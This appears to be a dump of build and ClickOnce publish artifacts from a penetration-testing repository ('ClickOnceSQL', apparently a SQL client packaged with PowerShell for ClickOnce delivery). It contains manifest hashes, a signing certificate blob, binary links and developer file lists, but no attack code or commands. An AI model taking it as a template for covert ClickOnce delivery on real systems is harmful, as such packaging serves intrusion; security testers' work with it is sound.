9LGAJCRkb8QgIT2zPe5GOxt5D34=
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/System.Management.Automation.dll.deploy:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/System.Management.Automation.dll.deploy
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/app.publish/ClickOnceSQL.application:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 | vFZyxcC2V4FtJ94Q8dLBCEiXCbkjSS2qxHi+P8aeYoU=
25 |
26 |
27 |
28 | 2/M5Gy8+J1k2+7CeMN2x7P5rZcy1qHR4Rv8n34FQgl0=jbDh9Fkaw1u/vUtyzeV8+2sA3diEJOB0DK13JLYdK2MIyxdPnW8L1NEH7QdCh5gnie/zDeSbV+zBn2f4ZnqSxaK5ucrsjqAyCw+3T0osN3IBrHJ0Z52V1TqJlchy65f6jMKKaQU2VOteVIageWbb0NGklJ0apwqHN6y6iag8i1g=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABCN=NETSPI\ssutherland6HYO1P8SpDlpMCndfQzjFcr9Rt/ZAeMKnBXPEa8MFiI=hrScXkO9xYlc6YI7BLwmMvGgjl2Jbsjmz9UPPjR7GawOoRsG/BdUANFhsI8UvVI7RB/2X3U6SxYBKKIIK+BlLvsq2atRRqCSxTpePgGaxZA1T/ZYJvRrwsgPGx1dtfFtyO7iMQ7qlEvKb0SFpSa2Z2Aapo4v4ia7lZbOwzTufy8=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABMIIB4TCCAUqgAwIBAgIQfSK0I32WW55AktO/EQE2nDANBgkqhkiG9w0BAQsFADAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwHhcNMjAwNjE3MDAwMjUzWhcNMjEwNjE3MDYwMjUzWjAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKg2eey7NsX+Ny5kucuCjO9KgBtAiu9evCsP2rG0IUnegCMP9pREMiz6oja6VKpCHe6YcReix/zDYx1xbw5pKqFQ6N+WoCL29ku9rdhTRhYYoq+iD/lp/BKDk31gKViCyQSml0Lc3L0tqRyebQnktDK8fd+84cBUn69mMI2CzpcFAgMBAAEwDQYJKoZIhvcNAQELBQADgYEAExdMdX6WXpUaTzDNg/9fLGDDtCVJ+uVhBxlvJfq284leJVHlZ10Y40NfNGIG6Xo74k+BiHotaJDkcRL0BDaqGSm+kYfCUoO/EwiI7KARShUVVlav+74ttQnZ8FJEam5FNvS/d11ttjvQbnVF9LGAJCRkb8QgIT2zPe5GOxt5D34=
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/app.publish/ClickOnceSQL.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/app.publish/ClickOnceSQL.exe
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/app.publish/publish.htm:
--------------------------------------------------------------------------------
1 |
2 |
3 | ClickOnceSQL
4 |
5 |
48 |
49 |
115 |
116 |
117 |
118 |
119 |
120 |
121 | |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 | | Name: | | ClickOnceSQL | | Version: | | 1.0.0.5 | | Publisher: | | | |
130 |
131 |
132 |
133 |
134 | The following prerequisites are required: | |
135 | - Microsoft .NET Framework 4.5.2 (x86 and x64)
136 | |
137 | If these components are already installed, you can launch the application now. Otherwise, click the button below to install the prerequisites and run the application.
138 | | |
139 |
140 |
141 |
142 | |
143 |
144 | |
|
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 | |
153 |
154 |
155 |
156 |
158 |
159 | |
160 |
161 |
162 |
163 |
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/app.publish/setup.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/app.publish/setup.exe
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csproj.CopyComplete:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csproj.CopyComplete
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 4f0674074156ac807f4abbb8d92e585f365be884
2 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.config
2 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.manifest
3 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.application
4 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe
5 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.pdb
6 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\System.Management.Automation.dll
7 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe.manifest
8 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.application
9 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe
10 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.pdb
11 | C:\Pentest\detective\ClickOnce Template-ish\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.config
12 | C:\Pentest\detective\ClickOnce Template-ish\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe
13 | C:\Pentest\detective\ClickOnce Template-ish\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.pdb
14 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ClickOnce-Psh-Template.csprojAssemblyReference.cache
15 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ClickOnce-Psh-Template.csproj.CoreCompileInputs.cache
16 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe
17 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ConsoleApplication2.pdb
18 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.config
19 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.manifest
20 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\ConsoleApplication2.application
21 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe
22 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\ConsoleApplication2.pdb
23 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\System.Management.Automation.dll
24 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe.manifest
25 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ConsoleApplication2.application
26 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ClickOnce-Psh-Template.csproj.CopyComplete
27 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ClickOnceSQL.csproj.CopyComplete:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ClickOnceSQL.csproj.CopyComplete
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ClickOnceSQL.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 392aa5c72bc25f7a2286f7ef93237fcac0d6c653
2 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ClickOnceSQL.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\ConsoleApplication2.exe.config
2 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\ConsoleApplication2.exe.manifest
3 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\ConsoleApplication2.application
4 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\ConsoleApplication2.exe
5 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\ConsoleApplication2.pdb
6 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\System.Management.Automation.dll
7 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ClickOnceSQL.csprojAssemblyReference.cache
8 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ClickOnceSQL.csproj.CoreCompileInputs.cache
9 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ConsoleApplication2.exe.manifest
10 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ConsoleApplication2.application
11 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ClickOnceSQL.csproj.CopyComplete
12 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ConsoleApplication2.exe
13 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ConsoleApplication2.pdb
14 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ClickOnceSQL.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ClickOnceSQL.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ConsoleApplication2.application:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | sVWwE026EU+NlZydY0F+O1pNQT/46gAVCDAbn0iSsGM=
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ConsoleApplication2.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.config
2 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe
3 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.pdb
4 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\System.Management.Automation.dll
5 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe
6 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.pdb
7 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.manifest
8 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.application
9 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.csprojResolveAssemblyReference.cache
10 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe.manifest
11 | c:\users\ssutherland\documents\visual studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.application
12 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ConsoleApplication2.csprojResolveAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ConsoleApplication2.csprojResolveAssemblyReference.cache
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ConsoleApplication2.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ConsoleApplication2.exe
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ConsoleApplication2.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 | M/50hfuATajuPjNBEevuBnubxHi81wZeav/IXaaUE6A=
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | lkhv2UhjSeLBPorr/OgzCviQcmv6IIaZUQLkNI+1HZQ=
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 | 6N7MliNbVJSIAIPrecIshMbZ7zEoKLr5SQvud4LDUOw=
85 |
86 |
87 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/ConsoleApplication2.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ConsoleApplication2.pdb
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csproj.CopyComplete:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csproj.CopyComplete
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 392aa5c72bc25f7a2286f7ef93237fcac0d6c653
2 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ClickOnce-Psh-Template.csprojAssemblyReference.cache
2 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ClickOnce-Psh-Template.csproj.CoreCompileInputs.cache
3 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.exe
4 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.pdb
5 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe.config
6 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe.manifest
7 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.application
8 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe
9 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.pdb
10 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\System.Management.Automation.dll
11 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.exe.manifest
12 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.application
13 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ClickOnce-Psh-Template.csproj.CopyComplete
14 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnce-Psh-Template.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnceSQL.application:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 | LCe/5H8TUz23V0mGjZdhkvxZRt5BTcJpgv/O3NlOkMc=
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnceSQL.csproj.CopyComplete:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnceSQL.csproj.CopyComplete
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnceSQL.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 392aa5c72bc25f7a2286f7ef93237fcac0d6c653
2 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnceSQL.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe.config
2 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe.manifest
3 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.application
4 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.exe
5 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\ConsoleApplication2.pdb
6 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Release\System.Management.Automation.dll
7 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ClickOnceSQL.csproj.CoreCompileInputs.cache
8 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.exe.manifest
9 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.application
10 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ClickOnceSQL.csproj.CopyComplete
11 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.exe
12 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Release\ConsoleApplication2.pdb
13 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\System.Management.Automation.dll
14 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CoreCompileInputs.cache
15 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CopyComplete
16 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.config
17 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.manifest
18 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\ClickOnceSQL.application
19 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\ClickOnceSQL.exe
20 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Release\ClickOnceSQL.pdb
21 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.csprojAssemblyReference.cache
22 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.exe.manifest
23 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.application
24 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.exe
25 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Release\ClickOnceSQL.pdb
26 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.config
27 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.manifest
28 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\ClickOnceSQL.application
29 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\ClickOnceSQL.exe
30 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\ClickOnceSQL.pdb
31 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\System.Management.Automation.dll
32 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.csprojAssemblyReference.cache
33 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CoreCompileInputs.cache
34 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.exe.manifest
35 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.application
36 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CopyComplete
37 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.exe
38 | C:\Users\ssutherland\Desktop\ClickOnceSQL\obj\Release\ClickOnceSQL.pdb
